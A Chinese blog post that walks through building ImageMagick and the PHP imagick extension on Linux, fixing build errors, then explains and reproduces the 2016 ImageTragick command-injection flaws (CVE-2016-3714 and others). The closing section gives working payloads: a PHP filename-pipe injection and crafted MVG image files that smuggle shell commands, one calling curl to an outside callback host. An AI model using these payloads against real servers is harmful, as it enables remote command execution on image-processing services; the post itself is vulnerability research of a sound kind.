Linux 安装 ImageMagick 以及命令执行漏洞复现

概述

最近刚出了ImageMagick命令执行漏洞,于是复现了一波,结果安装过程遇到了不少麻烦,特地记录下。

安装

1
2
3
4
5
6
tar -vxjf ImageMagick-6.9.5-3.tar.bz2
cd ImageMagick-6.9.5-3
./configure --prefix=/opt/bokee/ImageMagick --enable-share --enable-static
make
make install
vim ~/.bash_profile

输入

1
2
3
4
PATH=$PATH:/opt/bokee/ImageMagick/bin
export LD_LIBRARY_PATH=:/opt/bokee/soft/JMagick-6.2.6/lib:/opt/bokee/ImageMagick/lib
export DYLD_LIBRARY_PATH=:/opt/bokee/soft/JMagick-6.2.6/lib:/opt/bokee/ImageMagick/lib
export PATH
1
2
source ~/.bash_profile
convert -version

这样就安装完毕了ImageMagick,下面安装php扩展

1
2
3
4
5
6
7
8
9
10
11
12
13
wget http://pecl.php.net/get/imagick-3.1.2.tgz
tar zxvf imagick-3.1.2.tgz
cd imagick-3.1.2
/opt/lampp/bin/phpize # 据自己的情况找到这个文件运行 find / -name phpize
export PKG_CONFIG_PATH=/opt/bokee/ImageMagick/lib/pkgconfig/
export C_INCLUDE_PATH=$C_INCLUDE_PATH:/opt/bokee/ImageMagick/include/ImageMagick-6/
./configure --with-imagick=/opt/bokee/ImageMagick
make
make install
ldconfig
find / -name php.ini
vi /opt/lampp/etc/php.ini
添加:extension = "imagick.so"

错误以及解决方法

运行/usr/local/webserver/php/bin/phpize时出现:

1
2
3
4
5
6
Configuring for:
PHP Api Version: 20041225
Zend Module Api No: 20060613
Zend Extension Api No: 220060519
Cannot find autoconf. Please check your autoconf installation and the
$PHP_AUTOCONF environment variable. Then, rerun this script.

解决方法:

1
2
3
4
5
6
7
8
9
10
cd /usr/src
wget http://ftp.gnu.org/gnu/m4/m4-1.4.9.tar.gz
tar -zvxf m4-1.4.9.tar.gz
cd m4-1.4.9/
./configure && make && make install
cd ../
wget http://ftp.gnu.org/gnu/autoconf/autoconf-2.62.tar.gz
tar -zvxf autoconf-2.62.tar.gz
cd autoconf-2.62/
./configure && make && make install

如果出现如下错误:

1
configure: error: Cannot find php-config. Please use --with-php-config=PATH

解决方法:

1
2
find / -name php-config
./configure --with-php-config=/opt/lampp/bin/php-config --with-imagick=/opt/bokee/ImageMagick

如果出现如下错误:

1
wand/MagickWand.h: No such file or directory

解决方法:

1
export C_INCLUDE_PATH=$C_INCLUDE_PATH:/opt/bokee/ImageMagick/include/ImageMagick-6/

如果出现如下错误:

1
XAMPP is currently only availably as 32 bit application. Please use a 32 bit compatibility library for your system.

解决方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
vi /opt/lampp/lampp
# XAMPP is currently 32 bit only
#case `uname -m` in
# *_64)
# if /opt/lampp/bin/php -v > /dev/null 2>&1
# then
# :
# else
# $de && echo "XAMPP gibt es zur Zeit nur als 32-Bit Applikation. Bitte verwende eine 32-Bit Kompatibilitaetsbibliothek fuer Dein System."
# $de || echo "XAMPP is currently only availably as 32 bit application. Please use a 32 bit compatibility library for your system."
# exit
# fi
# ;;
#esac

原理分析

与这个漏洞相关的CVE有CVE-2016-3714、CVE-2016-3715、CVE-2016-3716、CVE-2016-3717,其中最严重的就是CVE-2016-3714,利用这个漏洞可以造成远程命令执行的危害。

ImageMagick有一个功能叫做delegate(委托),作用是调用外部的lib来处理文件。而调用外部lib的过程是使用系统的system命令来执行的.

在ImageMagick的默认配置文件里可以看到所有的委托:/etc/ImageMagick/delegates.xml
拼接完毕的命令行传入了系统的system函数,而我们只需使用反引号(`)或闭合双引号,来执行任意命令。

漏洞复现

ImageMagick popen_utf8命令注入

  • 漏洞版本: ImageMagick 6.9.3-9及以下

其实就是文件名引发的命令执行。

payload :

1
2
3
<?php
new Imagick('|touch /tmp/niubl');
?>

ImageMagick 命令注入

  • 漏洞版本: ImageMagick 6.9.3-9及以下

payload :

1
2
3
4
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls "-la)'
pop graphic-context
1
2
3
4
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/image.jpg?`curl emwv9i.ceye.io`"||id ")'
pop graphic-context

将以上内容保存为test.png图片,执行convert test.png 1.png,就会执行命令。